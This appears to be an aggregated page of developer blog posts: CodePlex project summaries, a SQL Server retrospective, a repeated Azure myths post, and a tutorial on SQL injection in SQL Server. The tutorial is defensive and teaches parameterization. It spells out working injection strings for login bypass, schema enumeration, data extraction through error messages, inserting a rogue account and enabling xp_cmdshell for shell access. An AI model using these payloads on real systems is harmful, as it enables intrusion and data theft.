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• CodePlex Daily Summary for Saturday, April 03, 2010

  CodePlex Daily Summary for Saturday, April 03, 2010New ProjectsASP.NET MVC Demo: aspnetmvcdemoClasslessInterDomainRouting: ClasslessInterDomainRouting provides a class that is designed to detail with CIDR requests and ranges, it is developed within the C# Langauge and f...ClientSideRefactor: Plugin for Visual Studio.ColinTest: ColinTestePMS: An educational project to learn ASP.Net MVC, entity framework using vs 2010Extensible ASP.NET: Extensible Framework on top of ASP.NET - infrastructure level. Uses MEF for extensibility.Franchise Computing Model: Franchise Computing is a client-centric, contract-oriented, consumption-based computing model. Its framework allows service providers and consumers...GameEngine ReactorFX: Set of tools and code snippets for creation DirectX based games. Also provides a number of ideas, algorythms and problem-solutions.It's All Just Ones And Zeros: Utility code libraries for Vault API developers.Live Writer Picasa Plugin: Live Writer Picasa Plugin is a plugin for Windows Live Writer that allows you to embed photos from your Picasa Web Albums into your blog posts. Liv...Managed SDK for Meizu Cell Phone: The goal of this project is to deliver an open source managed SDK for Meizu cell phones, currently for M8. Media Player Field Type: Display a media player in a column of you document library. The library can contain movie files of diferent formats. The player will appear in the ...praca magisterska: This is my thesis: Algebraical aspects of modern cryptography,Pyx: An experimental programming language for statistics.SharpHydroLiDAR: A C# version of Lidar Hydrographic ExtractionSql Server Mds Destination: SSIS destination transform component for SQL Server Master Data ServicesStackOverflow.Net: A C# library for the StackOverflow API (currently in beta). Provides methods for every call currently in the StackOverflow API.TRX Merger Utility: People working on test projects that involve test management and execution from Visual Studio Team System 2008 and who do not have a TFS server for...UniPlanner: The UniPlanner project goal is to develop a web application able to visualize and schedule a university timetable.WikiNETParser: Wiki .NET Parser, Open Source project powered by ANTLR. Syntax defined in 3(4) files Lexer, Grammar, AST Parser.New ReleasesaaronERP builder - a framework to create customized ERP solutions: aaronERP_0.4.0.0: Changes (compared to version 0.3.0.0) : Businesslayer : - Caching of data-tables - ITranslatable Interface for mutli-language DAOs Web-Frontend: ...BatterySaver: Version 0.5: Add support for executing a power state event manually (Issue) Add support for battery percentage thresholds (Issue)ColinTest: asdfzxcv: asdfasdfComposer: V1.0.402.2001 Beta: Minor bug fixes Minor changes in interfaces Added documentation to the setup packageDynamic Configuration: Dynamic Configuration Release 2: Added ConfigurationChanged event fired whenever changes in .config file detected. Improved file watching filtering.Facebook Developer Toolkit: Version 3.1 BETA: Lots of bug fixes. Issues addressed: http://facebooktoolkit.codeplex.com/WorkItem/View.aspx?WorkItemId=14808 http://facebooktoolkit.codeplex.com/W...iExporter - iTunes playlist exporting: iExporter gui v2.5.0.0 - console v1.2.1.0: Paypal donate! New features and redesign for iExporter Gui You can now select/deselect all visible items with one click in the overview When yo...Line Counter: 1.5.5: The Line Counter is a tool to calculate lines of your code files. The tool was written in .NET 2.0. Line Counter 1.5.5 Fixed bugs in C# counter an...Live Writer Picasa Plugin: Live Writer Picasa Plugin 1.0.0: Changelog Since this is the first version there are no changes.Media Player Field Type: Media Player Field Type v1.0: Display a media player in a column of you document library. The library can contain movie files of diferent formats. The player will appear in the ...Numina Application/Security Framework: Numina.Framework Core 49601: Added .LESS library for CSS Updated default style and logo Added a few methods and method overloads to the .NET libraryOver Store: OverStore 1.16.0.0: Version 1.16.0.0 Runtime components uses PersistingRuntimeException instead of many exception types. PersistingRuntimeException message includes...patterns & practices Web Client Developer Guidance: Web Client Software Factory 2010 beta source code: The Web Client Software Factory 2010 provides an integrated set of guidance that assists architects and developers in creating web client applicati...SCSI Interface for Multimedia and Block Devices: Release 12 - View CD-DVD Drive Features: Changes in this version: - Added the ability to view the features of a CD/DVD device (e.g.: what discs it supports, whether it supports Mount Raini...SharePoint Labs: SPLab5006A-FRA-Level100: SPLab5006A-FRA-Level100 This SharePoint Lab will teach you how to create a Feature within Visual Studio, how to brand it, how to incorporate ressou...SharePoint Labs: SPLab5007A-FRA-Level300: SPLab5007A-FRA-Level300 This SharePoint Lab will teach you how to create a reusable and distributable project model for developping Features within...SharePoint Labs: SPLab5008A-FRA-Level100: SPLab5008A-FRA-Level100 This SharePoint Lab will teach you how to add an option in the ECB menu (Edit Control Block) only for specific file types w...SharePoint Labs: SPLab5009A-FRA-Level100: SPLab5009A-FRA-Level100 This SharePoint Lab will teach you the "Site Pages" model and the differences between customized/uncustomized pages (ghoste...SharePoint Labs: SPLab5010A-FRA-Level100: SPLab5010A-FRA-Level100 This SharePoint Lab will teach you the "Application Pages" model and the differences between "Site Pages" and "Application ...SharePoint Labs: SPLab5011A-FRA-Level100: SPLab5011A-FRA-Level100 This SharePoint Lab will teach you how to create a basic Application Page in the 12\TEMPLATE\LAYOUTS. Lab Language : French...sPATCH: sPatch v0.9b: + Fixed: an issue most webservers need leading slash to return filestreamsTASKedit: sTASKedit (pre-Alpha Release): This release is only for playing around, currently not useful Supported Files:Open 1.3.6 client tasks.data Export to 1.3.6 client tasks.data E...TRX Merger Utility: TRX Merger v1.0: First versionttgLib: ttgLib-0.01-beta1: In beta-version we've implemented basic functionality of ttgLib - now it can solve various problems using CPU+GPU bundle. Most important things: ...WikiNETParser: Wiki .NET Parser 2.5: Wiki .NET Parser 2.5 The documentation, binaries and source code could be downloaded from http://catarsa.com portal The latest release to downloa...WPF Zen Garden: Release 1.0: This is the first release.XNA 3D World Studio Content Pipeline: XNA 3DWS Content Pipeline - R2: This version adds terrains and brush based modelsMost Popular ProjectsRawrWBFS ManagerMicrosoft SQL Server Product Samples: DatabaseASP.NET Ajax LibrarySilverlight ToolkitAJAX Control ToolkitWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesDotNetNuke® Community EditionMost Active ProjectsGraffiti CMSRawrjQuery Library for SharePoint Web ServicesFacebook Developer ToolkitBlogEngine.NETN2 CMSBase Class LibrariesFarseer Physics EngineLINQ to TwitterMicrosoft Biology Foundation

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• SQL SERVER – Weekly Series – Memory Lane – #003

  - by pinaldave

  Here is the list of curetted articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2006 This was the first year of my blogging and lots of new things I was learning as I go. I was indeed an infant in blogging a few years ago. However, as time passed by I have learned a lot. This year was year of experiments and new learning. 2007 Working as a full time DBA I often encoutered various errors and I started to learn how to avoid those error and document the same. ERROR Msg 5174 Each file size must be greater than or equal to 512 KB Whenever I see this error I wonder why someone is trying to attempt a database which is extremely small. Anyway, it does not matter what I think I keep on seeing this error often in industries. Anyway the solution of the error is equally interesting – just created larger database. Dilbert Humor This was very first encounter with database humor and I started to love it. It does not matter how many time we read this cartoon it does not get old. Generate Script with Data from Database – Database Publishing Wizard Generating schema script with data is one of the most frequently performed tasks among SQL Server Data Professionals. There are many ways to do the same. In the above article I demonstrated that how we can use the Database Publishing Wizard to accomplish the same. It was new to me at that time but I have not seen much of the adoption of the same still in the industry. Here is one of my videos where I demonstrate how we can generate data with schema. 2008 Delete Backup History – Cleanup Backup History Deleting backup history is important too but should be done carefully. If this is not carried out at regular interval there is good chance that MSDB will be filled up with all the old history. Every organization is different. Some would like to keep the history for 30 days and some for a year but there should be some limit. One should regularly archive the database backup history. South Asia MVP Open Days 2008 This was my very first year Microsoft MVP. I had Indeed big blast at the event and the fun was incredible. After this event I have attended many different MVP events but the fun and learning this particular event presented was amazing and just like me many others are not able to forget the same. Here are other links related to the event: South Asia MVP Open Day 2008 – Goa South Asia MVP Open Day 2008 – Goa – Day 1 South Asia MVP Open Day 2008 – Goa – Day 2 South Asia MVP Open Day 2008 – Goa – Day 3 2009 Enable or Disable Constraint  This is very simple script but I personally keep on forgetting it so I had blogged it. Till today, I keep on referencing this again and again as sometime a very little thing is hard to remember. Policy Based Management – Create, Evaluate and Fix Policies This article will cover the most spectacular feature of SQL 2008 – Policy-based management and how the configuration of SQL Server with policy-based management architecture can make a powerful difference. Policy based management is loaded with several advantages. It can help you implement various policies for reliable configuration of the system. It also provides additional administrative assistance to DBAs and helps them effortlessly manage various tasks of SQL Server across the enterprise. SQLPASS 2009 – My Very First SQPASS Experience Just Brilliant! I never had an experience such a thing in my life. SQL SQL and SQL – all around SQL! I am listing my own reasons here in order of importance to me. Networking with SQL fellows and experts Putting face to the name or avatar Learning and improving my SQL skills Understanding the structure of the largest SQL Server Professional Association Attending my favorite training sessions Since last time I have never missed a single time this event. This event is my favorite event and something keeps me going. Here are additional post related SQLPASS 2009. SQL PASS Summit, Seattle 2009 – Day 1 SQL PASS Summit, Seattle 2009 – Day 2 SQL PASS Summit, Seattle 2009 – Day 3 SQL PASS Summit, Seattle 2009 – Day 4 2010 Get All the Information of Database using sys.databases Even though we believe that we know everything about our database, we do not know a lot of things about our database. This little script enables us to know so many details about databases which we may not be familiar with. Run this on your server today and see how much you know your database. Reducing CXPACKET Wait Stats for High Transactional Database While engaging in a performance tuning consultation for a client, a situation occurred where they were facing a lot of CXPACKET Waits Stats. The client asked me if I could help them reduce this huge number of wait stats. I usually receive this kind of request from other client as well, but the important thing to understand is whether this question has any merits or benefits, or not. I discusses the same in this article – a bit long but insightful for sure. Error related to Database in Use There are so many database management operations in SQL Server which requires exclusive access to the database and it is not always possible to get it. When any database is online in SQL Server it either applications or system thread often accesses them. This means database can’t have exclusive access and the operations which required this access throws an error. There is very easy method to overcome this minor issue – a single line script can give you exclusive access to the database. Difference between DATETIME and DATETIME2 Developers have found the root reason of the problem when dealing with Date Functions – when data time values are converted (implicit or explicit) between different data types, which would lose some precision, so the result cannot match each other as expected. In this blog post I go over very interesting details and difference between DATETIME and DATETIME2 History of SQL Server Database Encryption I recently met Michael Coles and Rodeney Landrum the author of one of the kind book Expert SQL Server 2008 Encryption at SQLPASS in Seattle. During the conversation we ended up how Microsoft is evolving encryption technology. The same discussion lead to talking about history of encryption tools in SQL Server. Michale pointed me to page 18 of his book of encryption. He explicitly gave me permission to re-produce relevant part of history from his book. 2011 Functions FIRST_VALUE and LAST_VALUE with OVER clause and ORDER BY Some time an interesting feature and smart audience make a total difference in places. From last two days, I have been writing on SQL Server 2012 feature FIRST_VALUE and LAST_VALUE. I created a puzzle which was very interesting and got many people attempt to resolve it. It was based on following two articles: Introduction to FIRST_VALUE and LAST_VALUE Introduction to FIRST_VALUE and LAST_VALUE with OVER clause I even provided the hint about how one can solve this problem. The best part was many people solved the problem without using hints! Try your luck!  A Real Story of Book Getting ‘Out of Stock’ to A 25% Discount Story Available This is a great problem and everybody would love to have it. We had it and we loved it. Our book got out of stock in 48 hours of releasing and stocks were empty. We faced many issues and learned many valuable lessons. Some we were able to avoid in the future and some we are still facing it as those problems have no solutions. However, since that day – our books never gone out of stock. This inspiring learning story for us and I am confident that you will love to read it as well. Introduction to LEAD and LAG – Analytic Functions Introduced in SQL Server 2012 SQL Server 2012 introduces new analytical function LEAD() and LAG(). This function accesses data from a subsequent row (for lead) and previous row (for lag) in the same result set without the use of a self-join . It will be very difficult to explain this in words so I will attempt small example to explain you this function. I had a fantastic time writing this blog post and I am very confident when you read it, you will like the same. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• Windows Azure Myths

  - by BuckWoody

  Windows Azure is part of the Microsoft "stack" - the suite of software and services we offer. Because we have so many products in almost every part of technology, it's hard to know everything about all parts of what we do - even for those of us who work here. So it's no surprise that some folks are not as familiar with Windows and SQL Azure as they are, say Windows Server or XBox. As I chat with folks about a solution for a business or organization need, I put Windows Azure into the mix. I always start off with "What do you already know about Windows Azure?" so that I don't bore folks with information they already have. I some cases they've checked out the product ahead of time and have specific questions, in others they aren't as familiar, and in still others there is a fair amount of mis-information. Sometimes that's because of a marketing failure, sometimes it's hearsay, and somtetimes it's active misinformation. I thought I might lay out a few of these misconceptions. As always - do your fact-checking! Never take anyone's word alone (including mine) as gospel. Make sure you educate yourself on your options. Your company or your clients depend on you to have the right information on IT, so make sure you live up to that. Myth 1: Nobody uses Windows Azure It's true that we don't give out numbers on the amount of clients on Windows and SQL Azure. But lots of folks are here - companies you may have heard of like Boeing, NASA, Fujitsu, The City of London, Nuedesic, and many others. I deal with firms small and large that use Windows Azure for mission-critical applications, sometimes totally on Windows and/or SQL Azure, sometimes in conjunction with an on-premises system, sometimes for only a specific component in Windows Azure like storage. The interesting thing is that many sites you visit have a Windows Azure component, or are running on Windows Azure. They just don't announce it. Just like the other cloud providers, the companies have asked to be completely branded themselves - they don't want you to be aware or care that they are on Windows Azure. Sometimes that's for security, other times it's for different reasons. It's just like the web sites you visit. For the most part, they don't advertise which OS or Web Server they use. It really just shouldn't matter. The point is that they just use what works to solve a given problem. Check out a few public case studies here: https://www.windowsazure.com/en-us/home/case-studies/ Myth 2: It's only for Microsoft stuff - can't use Open Source This is the one I face the most, and am the most dismayed by. We work just fine with many open source products, including Java, NodeJS, PHP, Ruby, Python, Hadoop, and many other languages and applications. You can quickly deploy a Wordpress, Umbraco and other "kits". We have software development kits (SDK's) for iPhones, iPads, Android, Windows phones and more. We have an SDK to work with FaceBook and other social networks. In short, we play well with others. More on the languages and runtimes we support here: https://www.windowsazure.com/en-us/develop/overview/ More on the SDK's here: http://www.wadewegner.com/2011/05/windows-azure-toolkit-for-ios/, http://www.wadewegner.com/2011/08/windows-azure-toolkits-for-devices-now-with-android/, http://azuretoolkit.codeplex.com/ Myth 3: Microsoft expects me to switch everything to "the cloud" No, we don't. That would be disasterous, unless the only things you run in your company uses works perfectly in Azure. Use Windows Azure  - or any cloud for that matter - where it works. Whenever I talk to companies, I focus on two things: Something that is broken and needs to be re-architected Something you want to do that is new If something is broken, and you need new tools to scale, extend, add capacity dynamically and so on, then you can consider using Windows or SQL Azure. It can help solve problems that you have, or it may include a component you don't want to write or architect yourself. Sometimes you want to do something new, like extend your company's offerings to mobile phones, to the web, or to a social network. More info on where it works here: http://blogs.msdn.com/b/buckwoody/archive/2011/01/18/windows-azure-and-sql-azure-use-cases.aspx Myth 4: I have to write code to use Windows and SQL Azure If Windows Azure is a PaaS - a Platform as a Service - then don't you have to write code to use it? Nope. Windows and SQL Azure are made up of various components. Some of those components allow you to write and deploy code (like Compute) and others don't. We have lots of customers using Windows Azure storage as a backup, to securely share files instead of using DropBox, to distribute videos or code or firmware, and more. Others use our High Performance Computing (HPC) offering to rent a supercomputer when they need one. You can even throw workloads at that using Excel! In addition there are lots of other components in Windows Azure you can use, from the Windows Azure Media Services to others. More here: https://www.windowsazure.com/en-us/home/scenarios/saas/ Myth 5: Windows Azure is just another form of "vendor lock-in" Windows Azure uses .NET, OSS languages and standard interfaces for the code. Sure, you're not going to take the code line-for-line and run it on a mainframe, but it's standard code that you write, and can port to something else. And the data is yours - you can bring it back whever you want. It's either in text or binary form, that you have complete control over. There are no licenses - you can "pay as you go", and when you're done, you can leave the service and take all your code, data and IP with you.   So go out there, read up, try it. Use it where it works. And don't believe everything you hear - sometimes the Internet doesn't get it all correct. :)

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• Windows Azure Myths

  - by BuckWoody

  Windows Azure is part of the Microsoft "stack" - the suite of software and services we offer. Because we have so many products in almost every part of technology, it's hard to know everything about all parts of what we do - even for those of us who work here. So it's no surprise that some folks are not as familiar with Windows and SQL Azure as they are, say Windows Server or XBox. As I chat with folks about a solution for a business or organization need, I put Windows Azure into the mix. I always start off with "What do you already know about Windows Azure?" so that I don't bore folks with information they already have. I some cases they've checked out the product ahead of time and have specific questions, in others they aren't as familiar, and in still others there is a fair amount of mis-information. Sometimes that's because of a marketing failure, sometimes it's hearsay, and somtetimes it's active misinformation. I thought I might lay out a few of these misconceptions. As always - do your fact-checking! Never take anyone's word alone (including mine) as gospel. Make sure you educate yourself on your options. Your company or your clients depend on you to have the right information on IT, so make sure you live up to that. Myth 1: Nobody uses Windows Azure It's true that we don't give out numbers on the amount of clients on Windows and SQL Azure. But lots of folks are here - companies you may have heard of like Boeing, NASA, Fujitsu, The City of London, Nuedesic, and many others. I deal with firms small and large that use Windows Azure for mission-critical applications, sometimes totally on Windows and/or SQL Azure, sometimes in conjunction with an on-premises system, sometimes for only a specific component in Windows Azure like storage. The interesting thing is that many sites you visit have a Windows Azure component, or are running on Windows Azure. They just don't announce it. Just like the other cloud providers, the companies have asked to be completely branded themselves - they don't want you to be aware or care that they are on Windows Azure. Sometimes that's for security, other times it's for different reasons. It's just like the web sites you visit. For the most part, they don't advertise which OS or Web Server they use. It really just shouldn't matter. The point is that they just use what works to solve a given problem. Check out a few public case studies here: https://www.windowsazure.com/en-us/home/case-studies/ Myth 2: It's only for Microsoft stuff - can't use Open Source This is the one I face the most, and am the most dismayed by. We work just fine with many open source products, including Java, NodeJS, PHP, Ruby, Python, Hadoop, and many other languages and applications. You can quickly deploy a Wordpress, Umbraco and other "kits". We have software development kits (SDK's) for iPhones, iPads, Android, Windows phones and more. We have an SDK to work with FaceBook and other social networks. In short, we play well with others. More on the languages and runtimes we support here: https://www.windowsazure.com/en-us/develop/overview/ More on the SDK's here: http://www.wadewegner.com/2011/05/windows-azure-toolkit-for-ios/, http://www.wadewegner.com/2011/08/windows-azure-toolkits-for-devices-now-with-android/, http://azuretoolkit.codeplex.com/ Myth 3: Microsoft expects me to switch everything to "the cloud" No, we don't. That would be disasterous, unless the only things you run in your company uses works perfectly in Azure. Use Windows Azure  - or any cloud for that matter - where it works. Whenever I talk to companies, I focus on two things: Something that is broken and needs to be re-architected Something you want to do that is new If something is broken, and you need new tools to scale, extend, add capacity dynamically and so on, then you can consider using Windows or SQL Azure. It can help solve problems that you have, or it may include a component you don't want to write or architect yourself. Sometimes you want to do something new, like extend your company's offerings to mobile phones, to the web, or to a social network. More info on where it works here: http://blogs.msdn.com/b/buckwoody/archive/2011/01/18/windows-azure-and-sql-azure-use-cases.aspx Myth 4: I have to write code to use Windows and SQL Azure If Windows Azure is a PaaS - a Platform as a Service - then don't you have to write code to use it? Nope. Windows and SQL Azure are made up of various components. Some of those components allow you to write and deploy code (like Compute) and others don't. We have lots of customers using Windows Azure storage as a backup, to securely share files instead of using DropBox, to distribute videos or code or firmware, and more. Others use our High Performance Computing (HPC) offering to rent a supercomputer when they need one. You can even throw workloads at that using Excel! In addition there are lots of other components in Windows Azure you can use, from the Windows Azure Media Services to others. More here: https://www.windowsazure.com/en-us/home/scenarios/saas/ Myth 5: Windows Azure is just another form of "vendor lock-in" Windows Azure uses .NET, OSS languages and standard interfaces for the code. Sure, you're not going to take the code line-for-line and run it on a mainframe, but it's standard code that you write, and can port to something else. And the data is yours - you can bring it back whever you want. It's either in text or binary form, that you have complete control over. There are no licenses - you can "pay as you go", and when you're done, you can leave the service and take all your code, data and IP with you.   So go out there, read up, try it. Use it where it works. And don't believe everything you hear - sometimes the Internet doesn't get it all correct. :)

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• CodePlex Daily Summary for Friday, April 23, 2010

  CodePlex Daily Summary for Friday, April 23, 2010New Projects3D TagCloud for SharePoint 2010: 3D Flash TagCloud WebPart for SharePoint 2010AnyCAD.Net: AnyCAD.NetCassandraemon: Cassandraemon is LINQ Provider for Apache Cassandra.CCLI SongSelect Importer for PowerPoint: CCLI SongSelect Importer for PowerPoint ® is an Add-in for Microsoft ® PowerPoint ® that allows CCLI SongSelect (USR) files to be turned into slide...Compactar Arquivo Txt, Flat File, em Pipeline Decoder Customizado: Objetivo do projeto: Desenvolver um componente do tipo Pipeline Receiver Decoder, onde compacta o conteúdo, cria uma mensagem em XML e transforma ...Console Calculator: Console calculator is a simple, yet useful, mathematical expression calculator, supporting functions and variables. It was created to demonstrate ...CRM Dynamics Excel Importer: CRM Dynamics Excel Importercubace: The standard audio composer software with just single difference: this is CLR compilation.deneb: deneb projectDrive Backup: Drive Backup is an easy to use, automatic backup program. Simply insert a USB drive, and the program will backup either files on the drive to your ...eWebMVCCMS: this is the start of eWeb MVC CMS.Fix.ly: Small app that allows for URL rewriting before passing to the browser. Accepts MEF plugins that make themselves available by informing the applicat...GArphics: GArphics uses a genetic algorithm to produce graphics and animation with the assitance of the user.JDS Toolkit: An experimental toolkit geared to make richer applications with less effort. It will include controls such as the cubeoid and the serializedmenu. ...KrashSRC - MapleStory v.75 Emulator: KrashSRC - MapleStory v.75 EmulatorLast.fm Api: Last.fm api writen in Visaul Basic 2010.MIX 10 DVR and 